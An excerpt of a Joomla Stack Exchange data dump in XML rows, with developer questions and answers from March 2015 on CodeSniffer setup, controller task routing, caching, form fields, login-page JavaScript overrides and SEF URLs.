  <row Id="9275" PostTypeId="1" AcceptedAnswerId="9294" CreationDate="2015-03-30T13:09:50.937" Score="0" ViewCount="619" Body="&lt;p&gt;2 years ago I installed Joomla coding standard definition for PHP Codesniffer (&lt;a href=&quot;https://github.com/joomla/coding-standards&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/coding-standards&lt;/a&gt;) for Sublime Text and everything worked well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just moved to a new laptop and set up a new development environment, now Joomla coding standard doesn't run when saving files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, PHP Code Sniffer was installed and works well. In my &quot;Settings - User&quot; I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;phpcs_additional_args&quot;: {&#xA;        &quot;--standard&quot;: &quot;Joomla&quot;,&#xA;        &quot;-n&quot;: &quot;&quot;&#xA;    },&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this doesn't work. But if I change &quot;Joomla&quot; to &quot;PSR2&quot; then I get errors/warnings when saving files. So PHPCS works with PSR2 standard but not with Joomla standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any developer here has any suggestion, please let me know. I really appreciate!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use openSUSE 13.2 and Sublime Text 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was how I installed Joomla standard, I assume it was successful :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;username@servername:~&amp;gt; sudo git clone https://github.com/joomla/coding-standards.git `pear config-get php_dir`/PHP/CodeSniffer/Standards/Joomla&#xA;root's password:&#xA;Cloning into '/usr/share/php5/PEAR/PHP/CodeSniffer/Standards/Joomla'...&#xA;remote: Counting objects: 1916, done.&#xA;remote: Total 1916 (delta 0), reused 0 (delta 0), pack-reused 1916&#xA;Receiving objects: 100% (1916/1916), 1.04 MiB | 117.00 KiB/s, done.&#xA;Resolving deltas: 100% (727/727), done.&#xA;Checking connectivity... done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it is related, but I get errors when running from command line. Hadn't try this way before.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;username@servername:~&amp;gt; phpcs --standard=Joomla /srv/www/htdocs/joomla341/&#xA;PHP Fatal error:  Uncaught exception 'PHP_CodeSniffer_Exception' with message 'Class PHP_CodeSniffer_CommentParser_ClassCommentParser not found' in /usr/share/php5/PEAR/PHP/CodeSniffer/Standards/Joomla/Sniffs/Commenting/FileCommentSniff.php:18&#xA;Stack trace:&#xA;#0 /usr/share/php5/PEAR/PHP/CodeSniffer.php(1318): include_once()&#xA;#1 /usr/share/php5/PEAR/PHP/CodeSniffer.php(560): PHP_CodeSniffer-&amp;gt;registerSniffs(Array, Array)&#xA;#2 /usr/share/php5/PEAR/PHP/CodeSniffer/CLI.php(830): PHP_CodeSniffer-&amp;gt;initStandard(Array, Array)&#xA;#3 /usr/share/php5/PEAR/PHP/CodeSniffer/CLI.php(95): PHP_CodeSniffer_CLI-&amp;gt;process()&#xA;#4 /usr/bin/phpcs(25): PHP_CodeSniffer_CLI-&amp;gt;runphpcs()&#xA;#5 {main}&#xA;  thrown in /usr/share/php5/PEAR/PHP/CodeSniffer/Standards/Joomla/Sniffs/Commenting/FileCommentSniff.php on line 18&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="135" LastEditorUserId="9471" LastEditDate="2018-07-06T16:07:36.300" LastActivityDate="2018-07-06T16:07:36.300" Title="Sublime Text 3: Joomla coding standard (PHP Code Sniffer) is not executed" Tags="|php|development-tool|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9277" PostTypeId="1" AcceptedAnswerId="9280" CreationDate="2015-03-30T14:40:39.287" Score="6" ViewCount="1276" Body="&lt;p&gt;I'm trying to understand how to component com_installer (the componenent for installing the extensions) in the administrator folder in joomla works under the hood. In particular, I'm trying to understand what happens when you submit the uploaded extension zip. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In default.php in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com_installer/views/install/tmpl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've found the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;form enctype=&quot;multipart/form-data&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_installer&amp;amp;view=install');?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot; class=&quot;form-horizontal&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which seems to indicate that the uploaded file is sent to the same install view itself (the same view you are in when you upload the file). Now in the controller that corresponds to the view, it seems like it takes the corresponding model and calls the relevant function in the model to install the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I suspected, is that when you request a certain view, Joomla will first go to the corresponding controller (if any exists) and see if there exists a function with the same name as the view (in the case of the installer, the view is install, there is a controller install with a function install() inside). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However making a simple test for this, where I have a view called contentimporter, and the corresponding controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ContentImporterControllerContentImporter extends JControllerLegacy&#xA;{&#xA;    public function contentImporter() {&#xA;        $redirect_url = 'index.php?option=com_installer';&#xA;        $this-&amp;gt;setRedirect($redirect_url);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now if this function did indeed get called when going to index.php?component=com_contentimporter&amp;amp;view=contentimporter then I would be redirected to the installer component, but I'm not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help as to how I'm thinking wrong would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3987" LastActivityDate="2015-03-31T00:52:42.833" Title="How are the controllers for a specific view called?" Tags="|joomla-3.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9278" PostTypeId="1" CreationDate="2015-03-30T23:01:29.793" Score="1" ViewCount="240" Body="&lt;p&gt;If using the plug-in RSForm!Pro - Google Analytics Plugin to put in GA code on your forms, along with using Asynchronous Google Analytics plug-in, on those pages that has a form, there is a duplicate of the GA code. I was told that's problem it will mess up reports in GA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am questioning, if RSForm!Pro - Google Analytics Plugin is even needed? If so, why?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2015-03-31T10:57:28.290" Title="RSForm!Pro - Google Analytics Plugin causes duplicate GA code" Tags="|joomla-3.x|joomla-2.5|rsform|google-analytics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9279" PostTypeId="2" ParentId="9247" CreationDate="2015-03-31T00:34:19.283" Score="3" Body="&lt;p&gt;You didn't state what cache settings are producing this problem.&#xA;Joomla has several cache levels &lt;a href=&quot;https://docs.joomla.org/Cache&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Cache&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most aggressive caching option is Page Caching (turned on via the cache system plugin). This will pick out a cached page based on the URI BEFORE your component is even run. Here I think your only option would be to set your form's method to &quot;get&quot;, this will pass the form field's data as part of the querystring, so each unique search should generate a unique cached page. This also has the advantage of allowing users to press the browser's back button without the browser asking if they want to repost the form's data. However, the downside is that your page URL's might become less readable as the querystring can quickly become very long depending on the number of filters you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't using the system plugin, but are instead activating the cache via the site's global config then this is called 'view' caching, and can be handled by your component's controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you will need to build a cacheid from the posted form data to ensure that a unique cached page is created per set of filters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create the view&#xA;$view = $this-&amp;gt;getView('myView', 'html');&#xA;&#xA;// Build a cache id which will be unique per search: &#xA;$user = JFactory::getUser();&#xA;$uri = JURI::getInstance();&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$cacheId = serialize(array($uri, $input-&amp;gt;post, $user-&amp;gt;get('id')));&#xA;&#xA;// Create the cache&#xA;$cache = JFactory::getCache('com_mycomponent', 'view');&#xA;$cache-&amp;gt;get($view, 'display', $cacheId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've cut out and condenced the above code from Fabrik's list controller &lt;a href=&quot;https://github.com/Fabrik/fabrik/blob/joomla3/components/com_fabrik/controllers/list.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Fabrik/fabrik/blob/joomla3/components/com_fabrik/controllers/list.php&lt;/a&gt; which has to deal with a similar issue.&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-03-31T00:34:19.283" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9280" PostTypeId="2" ParentId="9277" CreationDate="2015-03-31T00:52:42.833" Score="5" Body="&lt;p&gt;You also need to take into account the data that is posted with the form. So if you look at line 179 of that default.php template file you will see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;install.install&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The string is in the format &quot;controller.method&quot;. This tells Joomla load the install controller (com_installer/controllers/install.php) and call it's install() method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see how the controller instance is generated and loads the controller based on the task value by looking at libraries/legacy/controller/legacy.php line 230 onwards:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getInstance($prefix, $config = array()) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One last thing to note is often JavaScript on the 'save' button will also set/alter the task input's value, so that is worth double checking when trying to figure out what task is being submitted. &lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-03-31T00:52:42.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9281" PostTypeId="2" ParentId="9216" CreationDate="2015-03-31T01:00:43.060" Score="1" Body="&lt;p&gt;The issue here is that deselecting post_allowed and then submitting the form will not submit any value for post_allowed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you had the plugin's post_allowed value stored as 1 in the database, then you edit the plugin options page, deselect the checkbox and press save, no data is sent for post_allowed and thus the original value of 1 is not replaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest replacing the checkbox with a radio button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;post_allowed&quot; type=&quot;radio&quot;&#xA;  class=&quot;btn-group&quot;&#xA;  default=&quot;1&quot;&#xA;  description=&quot;Post Allowed&quot;&#xA;  label=&quot;Post Allowed&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-03-31T01:00:43.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9283" PostTypeId="2" ParentId="9243" CreationDate="2015-03-31T04:04:35.973" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;use script and copy that file when install your component.&lt;/li&gt;&#xA;&lt;li&gt;why don't you use that file in your component and extend class from VM&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3652" LastActivityDate="2015-03-31T04:04:35.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9285" PostTypeId="1" AcceptedAnswerId="9286" CreationDate="2015-03-31T05:40:04.353" Score="3" ViewCount="281" Body="&lt;p&gt;I use the following JavaScript to open new window in which Joomla login page displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.open('https://URL', '_blank', 'location=yes');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The new window opens is as follows:    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qmhlm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to populate the username in its field automatically. I found postMessage() method very suitable to do cross-domain communications (e.g., this &lt;a href=&quot;http://blog.teamtreehouse.com/cross-domain-messaging-with-postmessage&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt;) . So I amended my JavaScript like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var loginWindow = window.open('https://URL', '_blank', 'location=yes');&#xA;loginWindow.postMessage('username', 'foobar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the receiving side, (Joomla), I need to add this code in order to catch the post message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.addEventListener('message', function(event) {&#xA;  var message = event.data;&#xA;  $('input.login').val(message);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is, where can I add this code?&lt;/strong&gt;&lt;br&gt;&#xA;I'm not familiar with Joomla structure, and I did not see any JavaScript in the files like login form (components/com_users/views/login/tmpl/default_login.php). So where can I add this JavaScript code. If I cannot, what alternatives do I have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;br&gt;&#xA;Based on @Rene Korss advice, I added my code at the end of the following file &lt;code&gt;/templates/theme718/html/com_users/login/default_login.php&lt;/code&gt;&#xA;I mention part of the previous code in the file to show its nature. My code starts from &lt;code&gt;&amp;lt;?php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;......&#xA;if(jQuery( window ).height()&amp;lt;620){&#xA;    jQuery('#copy-rightfp').addClass(&quot;copy-rightfps&quot;);&#xA;} else {&#xA;    jQuery('#copy-rightfp').removeClass(&quot;copy-rightfps&quot;);&#xA;}&#xA;&#xA;function alertforget(){&#xA;&#xA;    var div = '&amp;lt;div class=&quot;green&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php echo JText::_('COM_FORGET_OOPS') ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;font12&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php echo JText::_('COM_FORGET_PLEASE_CALL') ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;    jQuery('#msgcontainer .note').html('');&#xA;    jQuery('#msgcontainer .note').append(div);&#xA;&#xA;    jQuery('#msgcontainer').bPopup({&#xA;            modalClose: false,&#xA;            opacity: 0,&#xA;            positionStyle: 'fixed'&#xA;    });&#xA;}&#xA;&#xA;&#xA;&amp;lt;?php&#xA;$document = JFactory::getDocument();&#xA;&#xA;$document-&amp;gt;addScriptDeclaration(&quot;&#xA;    window.addEventListener('message', function(event) {&#xA;      var message = event.data;&#xA;      $('input#username').val(message);&#xA;    });&#xA;&quot;);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I find that the item I want to populate the message into called &lt;code&gt;username&lt;/code&gt;, from below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LyrtS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when the window opens, nothing occurs. No errors show in the console&lt;/p&gt;&#xA;" OwnerUserId="3574" LastEditorUserId="3574" LastEditDate="2015-03-31T10:36:49.630" LastActivityDate="2015-04-01T06:39:32.227" Title="Where to catch Post event?" Tags="|joomla-3.x|php|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9286" PostTypeId="2" ParentId="9285" CreationDate="2015-03-31T06:22:30.230" Score="5" Body="&lt;p&gt;I would override Joomla! login view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy contents of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;components/com_users/views/login/tmpl/default_login.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and create new .php file in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;YOUR_TEMPLATE_NAME/html/com_users/login/default_login.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and paste copied contents there.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;See Joomla! docs for &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;How to override the output from the Joomla! core&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And then add javascript file or inline javascript to start of overrided file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Inline JS&lt;/strong&gt; (it adds code between &lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tags)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScriptDeclaration(&quot;&#xA;    window.addEventListener('message', function(event) {&#xA;      var message = event.data;&#xA;      $('input.login').val(message);&#xA;    });&#xA;&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;External JS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;addScript('/wherever/your/js/file.js');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could add this JS file to your template folder or wherever your prefer. And add your code to JS file.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;See Joomla! docs for &lt;a href=&quot;https://docs.joomla.org/Adding_JavaScript&quot; rel=&quot;nofollow&quot;&gt;Adding JavaScript&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are using &lt;code&gt;postMessage()&lt;/code&gt; method improperly. According to &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage&quot; rel=&quot;nofollow&quot;&gt;MDN&lt;/a&gt; you have to specify &lt;code&gt;targetOrigin&lt;/code&gt;, which is second argument. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If at the time the event is scheduled to be dispatched the scheme, hostname, or port of otherWindow's document does not match that provided in targetOrigin, the event will not be dispatched; only if all three match will the event be dispatched.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Currently it is &lt;code&gt;foobar&lt;/code&gt;. So there is no match, and event wont be dispatched. &#xA;Edit your code to this (replace &lt;code&gt;origin&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loginWindow.postMessage('username_value_here', 'http://example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since code was sending &lt;code&gt;postMessage&lt;/code&gt; right after opening popup, it sent it too early. Destination wasn't loaded yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we ended up with this code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Destination side&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Ask for username from opener&#xA; */&#xA;&#xA;window.onload = function(){ &#xA;    window.opener.postMessage('giveMeUsername', '*'); &#xA;};&#xA;&#xA;/**&#xA; * Event to catch opener messages&#xA; */&#xA;&#xA;window.addEventListener('message', function(event) {&#xA;    // Allow only wanted domain&#xA;    if(event.origin !== 'http://example.com') return;&#xA;    var message = event.data;&#xA;    jQuery('input#username').val(message);&#xA;}, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Opener side&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Send username to popup, if it asks&#xA; */&#xA;window.addEventListener('message', function(event) {&#xA;    var message = event.data;&#xA;&#xA;    // If popup asks for username&#xA;    if(message == 'giveMeUsername'){&#xA;        loginWindow.postMessage('username_value', '*');&#xA;    }&#xA;}, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-04-01T06:39:32.227" LastActivityDate="2015-04-01T06:39:32.227" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="9288" PostTypeId="1" CreationDate="2015-03-31T09:26:21.543" Score="0" ViewCount="130" Body="&lt;p&gt;on joomla 3.3.6 some weird thing happened: the url's are not being rewritten to SEF. Everything is enabled and all. The weird thing is that the menus on site are rewriting their URL's and link to SEF as usual.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I have updated to J3.4.1 (latest) to no avail.. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Checked htaccess - all good, and even changed with another from working site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What else can I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3993" LastEditorUserId="3650" LastEditDate="2016-03-07T22:40:50.213" LastActivityDate="2016-03-07T22:40:50.213" Title="URL Rewrite stopped working" Tags="|joomla-3.x|.htaccess-configuration|sef|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9291" PostTypeId="2" ParentId="9232" CreationDate="2015-03-31T10:30:25.267" Score="1" Body="&lt;p&gt;I would not use jQuery to alter element ID. Best way is using PHP to do it on server before it gets to client. I do not understand You saying &quot;not using PHP&quot;, when in your code there is &lt;code&gt;&quot;&amp;lt;?php echo KunenaHtmlParser::stripBBCode.....&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the code is generated by iteration on server side, just add counter $i=1 before loop starts, and $i++ in the end of the loop. Than you can use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id=&quot;heading&amp;lt;?php echo $i; ?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course if You need 1 to be &quot;One&quot; you can look here for some solutions:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/2112571/converting-a-number-1-2-3-to-a-string-one-two-three-in-php&quot;&gt;https://stackoverflow.com/questions/2112571/converting-a-number-1-2-3-to-a-string-one-two-three-in-php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck)&lt;/p&gt;&#xA;" OwnerUserId="3993" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-03-31T11:23:19.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9292" PostTypeId="2" ParentId="9278" CreationDate="2015-03-31T10:57:28.290" Score="2" Body="&lt;p&gt;The RSForm!Pro - Google Analytics Plugin is used to register &lt;strong&gt;posted forms&lt;/strong&gt; in Google Analytics.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It triggers a specific code on the thankyou page or thankyou message. With the plain Google Analytics code you would not be able to check if someone has filledin the form when you use the thankyou message. Because that would register the same page as the page where the form is on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why.&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-03-31T10:57:28.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9294" PostTypeId="2" ParentId="9275" CreationDate="2015-03-31T11:36:14.393" Score="2" Body="&lt;p&gt;Joomla conding standards are created for PHP CodeSniffer 1.5.x.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pear install PHP_CodeSniffer-1.5.x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For instance, just yestearday I installed the latest 1.5.6 in Ubuntu with: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pear install PHP_CodeSniffer-1.5.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, you may want to copy the files from the repo &lt;a href=&quot;http://joomla.github.io/coding-standards&quot; rel=&quot;nofollow&quot;&gt;http://joomla.github.io/coding-standards&lt;/a&gt; to the local directory where they are located:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pear config-get php_dir&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my system, coding standards are located in /usr/share/php/PHP/CodeSniffer/Standards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://docs.joomla.org/Joomla_CodeSniffer#Installation&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Joomla_CodeSniffer#Installation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-31T11:36:14.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9295" PostTypeId="1" AcceptedAnswerId="9296" CreationDate="2015-03-31T12:29:12.077" Score="1" ViewCount="339" Body="&lt;p&gt;I have a system plugin where I need to change some existing field name values in xml manifest file. In a new plugin installation this is not a problem, but if I want to upgrade an older version I will have a problem because fields names does not match and it will lose the older params values. Is there a way, maybe with a installation script, to reassign the new fields names to the older ones?&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-04-03T14:42:42.147" Title="Change existing xml field name values" Tags="|joomla-3.x|development|plugin|system-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9296" PostTypeId="2" ParentId="9295" CreationDate="2015-03-31T16:10:32.473" Score="3" Body="&lt;p&gt;Yes, you are right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use installation script to update the field name and value on the plugin upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Write sql to update the plugin data, stored in the database, as per the current plugin field name value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put your code in the update method of the installation script so that it will not be execute on fresh installation.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-03-31T16:10:32.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9297" PostTypeId="1" AcceptedAnswerId="9298" CreationDate="2015-03-31T22:35:59.373" Score="4" ViewCount="355" Body="&lt;p&gt;When creating a link to a menu item inside an article or module, my first thought is to use the menu item alias and make the link like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/contact&quot;&amp;gt;Contact us&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that this link might break for a series of reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;.htaccess&lt;/code&gt; is not enabled (requires the link to include &quot;index.php&quot;)&lt;/li&gt;&#xA;&lt;li&gt;The alias changes (e.g. to &quot;contact-us&quot;)&lt;/li&gt;&#xA;&lt;li&gt;The menu item is moved to a different level or to another parent (e.g. to &quot;/about/contact&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Joomla is moved to a subfolder (e.g &quot;/joomla/contact&quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I safely link to a menu item?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-31T22:35:59.373" Title="Safe SEF link to menu item" Tags="|joomla-3.x|joomla-2.5|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
